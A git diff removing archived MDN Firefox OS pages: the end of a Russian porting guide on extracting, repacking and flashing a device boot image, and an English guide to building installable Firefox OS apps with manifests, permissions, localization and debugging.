AndroidKernel.mk и конфиг ядра в дерево конфигурации.</p> - -<p>В качестве примера использующего сборку ядра из исходников сотри <a href="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro" title="https://github.com/andreasgal/B2G/tree/master/glue/gonk/device/toro/maguro">maguro</a> из старой системы сборки.</p> - -<h3 id="Извлечение_и_правка_существующего_загрузочного_образа">Извлечение и правка существующего загрузочного образа</h3> - -<p>Существует возможность восстановить загрузочный образ телефона сделав дамп содержимого устройств <code>/dev/mtd/mtd1</code> или <code>/dev/mtd/mtd2</code>, полученный файл образа может быть легко восстановлен:</p> - -<pre>adb shell 'cat /dev/mtd/mtd1 > /sdcard/boot.img' -adb pull /sdcard/boot.img -</pre> - -<p>После извлечения файл загрузочного образа можно распаковать вспомогательной утилитой <a href="http://whiteboard.ping.se/Android/Unmkbootimg" title="Unmkbootimg">unmkbootimg</a>. Утилита извлечет образ ядра (zImage) и ramdisk (initramfs.cpio.gz), а также распечатает команды пересобирающие образ с теми же параметрами, что и оригинальный, например:</p> - -<pre>$ unmkbootimg boot.img -Kernel size 3872576 -Kernel address 0x208000 -Ramdisk size 265102 -Ramdisk address 0x1500000 -Secondary size 0 -Secondary address 0x1100000 -Kernel tags address 0x200100 -Flash page size 2048 -Board name is "" -Command line "androidboot.hardware=aphone" -Extracting kernel to file zImage ... -Extracting root filesystem to file initramfs.cpio.gz ... -All done. ---------------- -To recompile this image, use: - mkbootimg --kernel zImage --ramdisk initramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o new_boot.img ---------------- -</pre> - -<p>Чтобы модифицировать файл виртуального диска, создайте директорию и распакуйте его туда:</p> - -<pre>mkdir initramfs_dir -cd initramfs_dir -gunzip -c ../initramfs.cpio.gz | cpio -i -</pre> - -<p>Сделайте все необходимые изменения (например в init.rc) и перепакуйте виртуальный диск используя <code>mkbootfs</code>, убедитесь, что используйте версию собранную с хост утилитами B2G:</p> - -<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootfs . | gzip > ../newinitramfs.cpio.gz -</pre> - -<p>В завершении вернитесь в корнево каталог и перепакуйте загрузочный образ используя <code>mkbootimg</code>, также убедитесь, что используйте версию собранную с хост утилитами B2G:</p> - -<pre>/path/to/your/B2G/out/host/linux-x86/bin/mkbootimg --kernel zImage --ramdisk newinitramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o newboot.img -</pre> - -<p>Теперь, если скопировать новый загрузочный образ в <code>out/target/product/$DEVICE/boot.img</code> (где $DEVICE имя вашего устройства) он автоматический прошиваться при выполнении <code>flash.sh</code>. Вы также можете прошить образ вручную, используя следующие команды:</p> - -<pre>adb reboot bootloader -fastboot flash boot newboot.img -fastboot reboot -</pre> - -<h2 id="Добавление_нового_устройства_в_flash.sh">Добавление нового устройства в flash.sh</h2> - -<p>Добавление нового устройства в <code>flash.sh</code>; специфика того как это сделать зависит от того какие утилиты должны быть использованы для прошивки нового устройства.</p> - -<h2 id="Конфигурация_сборка_и_прошивка_нового_устройства">Конфигурация, сборка, и прошивка нового устройства</h2> - -<p>Теперь вы можете попробовать собрать прошивку и прошить ваше новое устройство:</p> - -<pre>ANDROIDFS_DIR=my_device_backup ./config.sh <device_id> '../b2g-manifest/default.xml' -./build.sh -./flash.sh</pre> - -<h2 id="Тест_и_дебаг">Тест и дебаг</h2> - -<p>We need some details added here; indeed, this entire article could use some help.</p> - -<h2 id="FAQ">FAQ</h2> - -<p>Forthcoming</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></li> - <li><a href="https://github.com/mozilla-b2g/B2G" title="https://github.com/mozilla-b2g/B2G">B2G source code on Github</a></li> - <li><a href="http://www.android.com/" title="http://www.android.com/">Android web site</a></li> - <li><a href="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/" title="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/">A list of existing projects on Dietrich Ayala's blog</a> to port Firefox OS on some devices</li> -</ul> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html deleted file mode 100644 index 7bc6b8b659..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html +++ /dev/null @@ -1,353 +0,0 @@ ---- -title: Building apps for Firefox OS -slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS -tags: - - Firefox OS - - Installation - - Layout - - Manifest - - NeedsTranslation - - TopicStub - - distribution - - packaging -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS ---- -<section class="Quick_links" id="Quick_Links"> - -<ol> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section> - -<div class="summary"> -<p>Firefox OS apps are essentially no different to standard websites or web apps. They are built using standard open web technologies — HTML, CSS, JavaScript, etc. — and can be accessed using a web browser. The main differences lie in their ability to be installed on devices and work offline, access to advanced APIs that allow interaction with device features such as camera, gyroscope and address book, and the existence of a solid developer ecosystem — including a Marketplace for distribution of free and paid apps. Generally, they provide users with an "app experience", while still being based on open, cross platform technologies.</p> -</div> - -<p>Firefox OS apps have a low barrier for entry, especially for existing web developers and mobile developers; they are also a lot more portable across platforms than native equivalents, and not locked into walled gardens. As we've already mentioned Firefox OS apps are based on web technologies — HTML, CSS, and JavaScript — so if you've written a web page you already know the basics. Even if you don't have the basics you'll be able to easily follow this guide, but you may want to check out our list of <a href="/en-US/docs/Web/Tutorials">Beginner's tutorials</a> to learn more about developing with open web technologies.</p> - -<p>This section of MDN provides a detailed reference on web app development topics specific to creating apps that are installable on Firefox OS (and other Firefox-supported platforms like Android), including app manifests, writing install functionality, permissions for using device APIs, and more. It is targeted towards experienced developers that are just looking to create or port an existing app to Firefox OS.</p> - -<div class="note"> -<p><strong>Note</strong>: There is also a very useful screencast series available, if you prefer watching videos — <a href="/en-US/Firefox_OS/Screencast_series:_App_Basics_for_Firefox_OS">App Basics for Firefox OS</a>.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: If you are a complete beginner to web apps (perhaps you just know a bit of HTML/CSS/JS) and want a very simple guide to building up an app, check out our <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app beginners tutorial</a>.</p> -</div> - -<h2 id="Firefox_OS">Firefox OS</h2> - -<p><a href="/en-US/Firefox_OS">Firefox OS</a> (also referred to by its codename <strong>Boot to Gecko</strong> — or <strong>B2G</strong>) is Mozilla's open source mobile operating system. It's based on a Linux kernel, which boots into a <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>-based runtime that lets users install and run open web apps<strong>, </strong>Gecko being the rendering engine that the Firefox browser uses to render and display web content.</p> - -<p>Firefox OS comes with <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, which forms the entire UI layer of Firefox OS and the default suite of apps that handle the fundamental functions of the phone such as settings, calls, SMS, taking and storing photos, etc.</p> - -<p>Mozilla's open web apps are installable on Firefox OS, and other Firefox-supported platforms via Mozilla's web run time technology. For more details, see <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Open web apps for Android</a>, and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">Open web apps for Desktop</a>.) In future, the technologies should be standardized and adopted across a wider range of platforms.</p> - -<h2 id="Installable_app_workflow">Installable app workflow</h2> - -<p>An installable open web app is very similar to a normal web app or web site — it is built using familiar web technologies like HTML, CSS and JavaScript. The difference is in the additional features the Firefox (OS) platform has available. The following diagram illustrates how those features work together.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/8493/installable-apps-flowchart-rough.png" style="display: block; height: 358px; margin: 0px auto; width: 520px;"></p> - -<ol> - <li>Start with a fairly standard web application, built using your favourite toolchain.</li> - <li>Identify this as an installable web app by adding a <a href="/en-US/Apps/Build/Manifest">manifest.webapp</a> file to the web app root directory. This defines a number of things about the app such as its name, icons, localization information, and probably most importantly the <a href="/en-US/Apps/Build/App_permissions">permissions the app needs</a> to access device APIs such as <a href="/en-US/docs/WebAPI/Camera">Camera</a>, <a href="/en-US/docs/Web/API/Device_Storage_API">Device Storage</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a> and <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>.</li> - <li>Create any functionality you require that makes use of special device APIs.</li> - <li>Create the assets your app needs, such as the <a href="/en-US/Apps/Build/Icon_implementation_for_apps">icons</a>.</li> - <li>Package and distribute your app. This can be done in a variety of ways, from simple self-published <a href="/en-US/Marketplace/Options/Hosted_apps">hosted apps</a> (in which case you'd have to write your own install functionality), to <a href="/en-US/Marketplace/Options/Packaged_apps">packaged apps</a> distributed via the <a href="https://marketplace.firefox.com/">Firefox Marketplace</a> (which handles the install functionality for you.)</li> -</ol> - -<h2 id="Recommendations">Recommendations</h2> - -<p>This section provides recommendations and best practices for creating installable open web apps.</p> - -<h3 id="Web_app_manifest_files">Web app manifest files</h3> - -<p>Your app's <code>manifest.webapp</code> file should be placed in the root of your app directory, and contain a simple JSON structure, as explained in detail in our <a href="/en-US/Apps/Build/Manifest">App Manifest</a> reference. A simple App Manifest JSON looks like so:</p> - -<pre class="brush: json">{ - "name": "My App", - "description": "My elevator pitch goes here", - "launch_path": "/index.html", - "icons": { - "512": "/img/icon-512.png", - "128": "/img/icon-128.png" - }, - "developer": { - "name": "Your name or organization", - "url": "http://your-homepage-here.org" - }, - "default_locale": "en" -}</pre> - -<p>For simple apps, this is all you'll need, but you may also need other fields, as discussed in appropriate places below.</p> - -<h3 id="Functionality_Device_APIs_and_permissions">Functionality, Device APIs, and permissions</h3> - -<p>One of the main strengths of the Firefox OS platform is the provision of <a href="/en-US/docs/WebAPI">new Web APIs</a> to access key device services like the contacts, and hardware like NFC, Bluetooth and SMS. There are many examples of the different new APIs available along with examples throughout our App Center Build section, but in this section we'll give you some specific pointers towards tasks you might want to accomplish with them. Common task categories include:</p> - -<ul> - <li><a href="/en-US/Apps/Build/gather_and_modify_data">Gathering and modifying data</a>: Retrieving data from files, device hardware (e.g. <a href="/en-US/docs/Web/API/Battery_Status_API">battery</a>, <a href="/en-US/docs/Web/API/Proximity_Events">proximity</a>, <a href="/en-US/docs/Web/API/DeviceLightEvent/Using_light_events">light sensor</a>, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">GPS</a>) and key services (e.g. <a href="/en-US/docs/WebAPI/Camera">camera</a>, <a href="/en-US/docs/Web/API/Contacts_API">contacts</a>).</li> - <li><a href="/en-US/Apps/Build/User_notifications">Giving the user notifications</a>: With <a href="/en-US/docs/Web/API/Notification/Using_Web_Notifications">system notifications</a>, <a href="/en-US/docs/Web/API/Alarm_API">alarms</a>, and <a href="/en-US/docs/Web/Guide/API/Vibration">vibration</a> APIs.</li> - <li><a href="/en-US/Apps/Build/Offline">Making your app work offline</a>: With APIs like <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, and the Firefox OS-specific <a href="/en-US/docs/Web/API/Data_Store_API">Data Store</a> API.</li> - <li><a href="/en-US/Apps/Build/User_input_methods">Implementing control mechanisms</a>: Mouse, keyboard, pointer lock, touch inputs, drag and drop, and more.</li> - <li>Push Notifications: invoked using the <a class="external external-icon" href="https://wiki.mozilla.org/WebAPI/SimplePush">SimplePush Web API</a>, these are a way to make applications wake up when a device receives a certain message.</li> - <li><a class="external external-icon" href="https://wiki.mozilla.org/WebAPI/WebActivities">Web Activities</a>: A way to get applications to talk to each other and share capabilities, for example taking pictures or recording video. This often provides easier ways to share capabilities.</li> - <li>Controlling device communication functionality: Such as <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a>, Dialer, and <a href="/en-US/docs/Web/API/NFC_API">NFC</a>.</li> -</ul> - -<p>Different APIs have different levels of security, with some APIs being limited in who can access them. This makes sense — it would be really insecure to just let any app have access to say, a device's SMS and dialer functionality. The different levels are as follows:</p> - -<ul> - <li>Common: Common APIs like <a href="/en-US/docs/Web/API/Notification/Using_Web_Notifications">Notification</a>, <a href="/en-US/docs/NavigatorUserMedia.getUserMedia">getUserMedia</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, and <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation</a> don't need any special privileges to use them. Some of these APIs have an extra level of security anyway, for example a getUserMedia or Geolocation call will result in the user being shown a confirmation box to ask if they are happy with an app accessing their GPS or web cam.</li> - <li>Privileged: Privileged APIs have more security implications than common ones, and as such can only be used by packaged apps that have been verified by the <a href="/en-US/Marketplace">Firefox Marketplace</a> (see below). These include the <a href="/en-US/docs/WebAPI/Camera">Camera</a>, <a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser</a>, <a href="/en-US/docs/Web/API/Contacts_API">Contacts</a> and <a href="/en-US/docs/Web/API/TCP_Socket_API">TCP Socket</a> APIs.</li> - <li>Certified: Certified APIs are generally critical in terms of device security, and therefore only usable in apps pre-installed on the device by Mozilla or the device vendor. These include the <a href="/en-US/docs/WebAPI/WebSMS">SMS</a>, <a href="/en-US/docs/WebAPI/WebBluetooth">Bluetooth</a>, and Dialer APIs.</li> -</ul> - -<p>To request permission to use a restricted API, you have to include a <code>permissions</code> field in your manifest file, and set the type field to privileged in the case of privileged APIs. These fields will look something like this:</p> - -<pre class="brush: json">"type" : "privileged", -"permissions": { - "contacts": { - "description": "Required for autocompletion in the share screen", - "access": "readcreate" - }, - "alarms": { - "description": "Required to schedule notifications" - } -}</pre> - -<div class="note"> -<p><strong>Note</strong>: You can find out exactly what permissions (if any) each API requires by looking at our <a href="/en-US/Apps/Build/App_permissions">App permissions reference</a>; this reference also lists which version of Firefox OS supports each API. To find out what API features are new as of each version of Firefox OS, consult our <a href="/en-US/Firefox_OS/Releases">Firefox OS developer release notes</a>.</p> -</div> - -<p>Using <a href="/en-US/docs/Web/API/Web_Activities">Web activities</a> also requires that you specify their type and required data in the <code>activities</code> field, for example:</p> - -<pre class="brush: json">"activities": { - "share": { - "filters": { - "type": [ "image/png", "image/gif" ] - }, - "href": "foo.html", - "disposition": "window", - "returnValue": true - } -}</pre> - -<p>Lastly, some APIs such as the <a href="/en-US/Apps/Build/User_notifications/Using_Alarms_to_notify_users">Alarm and Notification APIs</a> also require you to specify a <code>messages</code> field, which details what kind of system messages are to be captured by the app, and what page(s) will handle them:</p> - -<pre class="brush: json">"messages": [ - { "alarm": "/index.html" }, - { "notification": "/index.html" } - ]</pre> - -<h3 id="Icons_and_other_design_best_practices">Icons and other design best practices</h3> - -<p>The best practices you would use for creating a Firefox OS app are pretty much the same as those you would use for creating any standard web app, in terms of both coding and design.</p> - -<ol> - <li>You should use <a href="/en-US/Apps/app_layout/responsive_design_building_blocks">responsive design techniques</a> to make sure your app layout will work well on a variety of screen sizes, especially <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a> and <a href="/en-US/docs/Web/CSS/@viewport">viewport</a>. Because many devices have high resolution screens these days, this should include use of <code>resolution</code> media queries to optimize for different resolutions.</li> - <li>You should take advantage of the building blocks and design patterns we've made available (see our app <a href="/en-US/Apps/Design">Design section</a>.)</li> - <li>You should also make sure to optimize your code as much as possible so it is more likely to work on <a href="/en-US/Apps/Build/Performance/Apps_for_low-memory_Firefox_OS_devices">low-memory devices</a>, which many Firefox OS devices are (see our <a href="/en-US/Apps/Build/Performance">Performance topic</a>).</li> - <li>For the visual design of Firefox apps, you are free to follow your own path, but you could certainly get some useful pointers from our <a href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS style guide</a>.</li> - <li>For your app icons, you should make sure to include at least a 512x512 icon and a 128x128 icon. Read <a href="/en-US/Apps/Build/Icon_implementation_for_apps">Icon implementation for Apps</a> for more information.</li> -</ol> - -<h3 id="App_packaging_installation_and_distribution">App packaging, installation and distribution</h3> - -<p>When an App is ready to be distributed, you have a few options of how to publish them:</p> - -<ul> - <li>You can <a href="/en-US/Marketplace/Options/Self_publishing">self-publish</a> a <a href="/en-US/Marketplace/Options/Hosted_apps">hosted app</a>. This requires you to simply upload your app to a web server, just like you would for a normal web site, and include the manifest, icons, etc. that the installable app needs. In addition, you need to include some code to install your app on a Firefox OS device or other device where Firefox is present. This will generally take the form of a <a href="/en-US/docs/Web/HTML/Element/button" title="The HTML <button> element represents a clickable button."><code><button></code></a> element that when pressed invokes the <a href="/en-US/docs/Web/API/Apps/install" title="The documentation about this has not yet been written; please consider contributing!"><code>Apps.install</code></a> method, passing it the URL of the manifest file. Note that hosted apps, even when installed, are always run from the web site they are hosted on, so don't confer the ability to run offline, unless you provide this ability using a technology like <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> (or soon, <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Service Workers</a>.)</li> - <li>You can <a href="/en-US/Marketplace/Options/Self_publishing">self-publish</a> a <a href="/en-US/Marketplace/Options/Packaged_apps">packaged app</a>. This requires you to zip your app up, and upload your zip to a web server, after making sure you've included the manifest, icons, etc. that the installable app needs. In addition, you need to include a <a href="https://developer.mozilla.org/en-US/Marketplace/Options/Self_publishing#Mini-manifest_fields">mini-manifest</a> file in the same directory as the zip to reference the app, and some code to install your app on a Firefox OS device or other device where Firefox is present. This will generally take the form of a <a href="/en-US/docs/Web/HTML/Element/button" title="The HTML <button> element represents a clickable button."><code><button></code></a> element that when pressed invokes the <a href="/en-US/docs/Web/API/Apps/installPackage" title="The documentation about this has not yet been written; please consider contributing!"><code>Apps.installPackage</code></a> method, passing it the URL of the mini-manifest file.</li> - <li>You can publish a packaged app on the Firefox Marketplace. The process for doing this is <a href="/en-US/Marketplace/Publishing/Submit/Overview">well documented over at our Marketplace zone</a>.</li> -</ul> - -<div class="note"> -<p><strong>Note</strong>: Self-published apps don't have the ability to access privileged APIs, for security reasons.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: Another common cause of failure in app installation is incorrect paths in manifests and install code. These paths should be relative to the origin of the server location. So for example, if your example's root is at <code>http://www.mysite.com/myapp/</code>, and your icon is at <code>http://www.mysite.com/myapp/manifest.webapp</code>, the install path would be <code>/myapp/manifest.webapp</code>, not <code>/manifest.webapp</code>.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: Installable open web apps used to have a "single app per origin" security policy, but this was lifted as of Firefox 34/Firefox OS 2.1 (read <a href="https://developer.mozilla.org/en-US/Apps/Build/installable_apps_for_Firefox_OS/App_manifest_FAQ#Can_I_have_more_than_one_app_at_my_origin.3F">this FAQ entry</a> for more information). If you still need to support older versions, consider hosting your apps at separate origins; one strategy is to <a href="/en-US/Marketplace/Publishing/Adding_a_subdomain">create different subdomains</a> for your apps.</p> -</div> - -<h3 id="Multi-locale_apps">Multi-locale apps</h3> - -<p>You can create multi-locale apps quite easily. This is done by:</p> - -<ol> - <li>Adding special <code>data-l10n-id</code> attributes to each HTML element that requires localization, the value of which should be an identifier for that string. For example:</li> - <li><code><h1 data-l10n-id="app-title">My app</h1></code>.</li> - <li>Including the <a href="https://github.com/fabi1cazenave/webL10n/blob/master/l10n.js">l10n.js</a> library in your page using a regular <a href="/en-US/docs/Web/HTML/Element/script" title="The HTML <script> element is used to embed or reference an executable script."><code><script></code></a> element.</li> - <li>Creating a <code>locales</code> folder inside your app directory containing a folder for each separate locale, then placing an <code>app.properties</code> file inside each one containing that language's translations, each one on a new line. For example <code>app-title = Mon application</code> for French.</li> - <li>Creating a <code>locales.ini</code> file inside the locales folder, which specifies the default locale and the path to each <code>app.properties</code> file. This will look like so: - <pre>@import url(en/app.properties) - -[es] -@import url(fr/app.properties)</pre> - </li> - <li>Referencing <code>locales.ini</code> from your HTML file using a <a href="/en-US/docs/Web/HTML/Element/link" title="The HTML <link> element specifies relationships between the current document and an external resource. Possible uses for this element include defining a relational framework for navigation. This element is most used to link to style sheets."><code><link></code></a> element, like so: - <pre class="brush: html"><link rel="resource" type="application/l10n" href="locales/locales.ini" /></pre> - </li> - <li>Updating your manifest file to include a default locale and locales field containing information about your supported locales: - <pre class="brush: json">"default_locale": "en", -"locales": { - "fr": { - "name" : "Mon application", - "description" : "Mon application description" - } -}</pre> - </li> -</ol> - -<p>For more details, begin with our <a href="/en-US/Apps/Build/Localization/Getting_started_with_app_localization">Getting started with app localization</a> article, then check out the rest of our articles about <a href="/en-US/Apps/Build/Localization">app localization</a>.</p> - -<h3 id="Debugging_apps">Debugging apps</h3> - -<p>Mozilla provides a number of tools to help you test Firefox OS apps.</p> - -<h4 id="Testing_on_Firefox_desktop">Testing on Firefox desktop</h4> - -<p>The quickest way to test your app's basic functionality is to simply load it in Firefox desktop (open the <code>index.html</code> file in the browser) — this supports most of the features you'll be using to develop your app (with the exception of some of the device APIs.) From here you can use the standard <a href="/en-US/docs/Tools/Browser_Toolbox">Firefox Toolbox</a> to debug your code, and the <a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> to test responsive/mobile layouts.</p> - -<h4 id="Testing_in_the_Firefox_OS_simulator">Testing in the Firefox OS simulator</h4> - -<p>You can also test the app in a Firefox OS simulator via our <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tool. This will give you a more realistic idea of how it will look on a real device.</p> - -<div class="note"> -<p><strong>Note</strong>: Our new <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tool is currently only available in Firefox Nightly, but will be rolled out across all versions soon. It does everything App Manager does and more, including in-app code editing, creation of new apps, and tools like the <a href="/en-US/docs/Tools/WebIDE/Monitor">Monitor</a>, which enables to track performance across an app's lifespan.</p> -</div> - -<h4 id="Testing_on_a_Firefox_OS_device">Testing on a Firefox OS device</h4> - -<p>Some device APIs — such as the vibration API — can't be tested successfully on a simulator. To fully test this you'll need to get hold of a real Firefox OS device. If you've got one, you can connect it to your computer and install apps contained on your local drive straight onto it via the App Manager/WebIDE.</p> - -<h4 id="Logcat">Logcat</h4> - -<p>The Android <a href="/en-US/Firefox_OS/Debugging/On-device_console_logging#Using_logcat">adb logcat tool</a> is very useful for getting debugging output from a Firefox OS device, if you are comfortable with command line tools. For example, you can get info on dying apps using the following:</p> - -<pre class="brush: bash">adb logcat GeckoConsole:* *:F | grep -vE "parsing value|Unknown property|declaration|invalid source| but found |pseudo-"</pre> - -<h3 id="Supporting_cross-Firefox_OS_versions">Supporting cross-Firefox OS versions</h3> - -<p>Note that when developing apps for Firefox OS, you need to bear in mind what platform versions will be available on the devices your customers will have (see our <a href="/en-US/Firefox_OS/Developer_phone_guide/Phone_specs#Firefox_OS_phones_available">available phones table</a> for a list.) Remember that it is not as simple to update phone platform software as it is desktop software — users tend to be at the mercy of the network providers. You therefore need to develop apps to support these versions. As an example, multiline Flexbox doesn't work on Firefox OS versions below 1.3, so you may need to use a simpler layout method or provide a fallback for older versions.</p> - -<p>This issue should go away soon, as more consumer Firefox OS devices appear, equipped with newer versions of Firefox OS out of the box.</p> - -<div class="warning"> -<p>The current baseline platform we recommended developing for is <a href="/en-US/Firefox_OS/Releases/1.1">Firefox OS 1.1</a>.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: MDN's <a href="/en-US/docs/Web">web platform reference pages</a> include browser/platform support information, plus you can find support information for more App-specific technologies on our <a href="/en-US/Apps/Reference">Apps API Reference</a>.</p> -</div> - -<h2 id="Examples">Examples</h2> - -<p>You can find many examples throughout the App Center <a href="/en-US/Apps/Build">Build section</a>; there are also some examples in our <a href="/en-US/Apps/Reference_apps">Reference apps</a> section.</p> - -<h2 id="Tutorials">Tutorials</h2> - -<h3 id="Installable_app_basics">Installable app basics</h3> - -<dl> - <dt><a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app beginners tutorial</a></dt> - <dd>A complete beginner's guide to creating a Firefox OS app.</dd> - <dt><a href="/en-US/Marketplace/Options/Packaged_apps">Packaged apps</a></dt> - <dd>A packaged app is an Open Web App that has all of its resources contained in a zip file, instead of having its resources on a Web server. In here you'll learn all you need to know about packaged apps.</dd> - <dt><a href="/en-US/Marketplace/Options/Hosted_apps">Hosted apps</a></dt> - <dd>A hosted app is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest and so on) stored on a Web server. This article will tell you all you need to know about hosted apps.</dd> - <dt><a href="/en-US/Marketplace/Options/Packaged_or_hosted_">Packaged or hosted?</a></dt> - <dd>Should you make your app hosted or packaged? This article will help you decide.</dd> - <dt><a href="/en-US/Marketplace/Options/Self_publishing">Self-publishing apps</a></dt> - <dd>This guide explains how to write the code that controls publishing apps, should you wish to write it yourself rather than use the <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>.</dd> -</dl> - -<h3 id="Advanced_topics">Advanced topics</h3> - -<dl> - <dt><a href="/en-US/Apps/Build/Icon_implementation_for_apps#Firefox_OS">Icon implementation for apps</a></dt> - <dd>Implementation specifics for implementing Firefox app icons, including different sizes needed.</dd> - <dt><a href="/en-US/docs/Web/Apps/Updating_apps" title="/en-US/docs/Web/Apps/Updating_apps">Updating apps</a></dt> - <dd>How app updates are handled.</dd> -</dl> - -<div class="section"> -<h2 id="Reference">Reference</h2> - -<dl> - <dt><a href="/en-US/Apps/Reference/Firefox_OS_app_tools">Firefox OS app tools</a></dt> - <dd>This page provides a list of useful tools, libraries and examples that are useful for Firefox OS app developers, whether you want an code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd> - <dt><a href="/en-US/docs/Web/Apps/Build/Manifest" title="/en-US/docs/Web/Apps/Manifest">App manifest</a></dt> - <dd>A detailed guide to Open Web App manifest files, and the different options they can contain.</dd> - <dt><a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a></dt> - 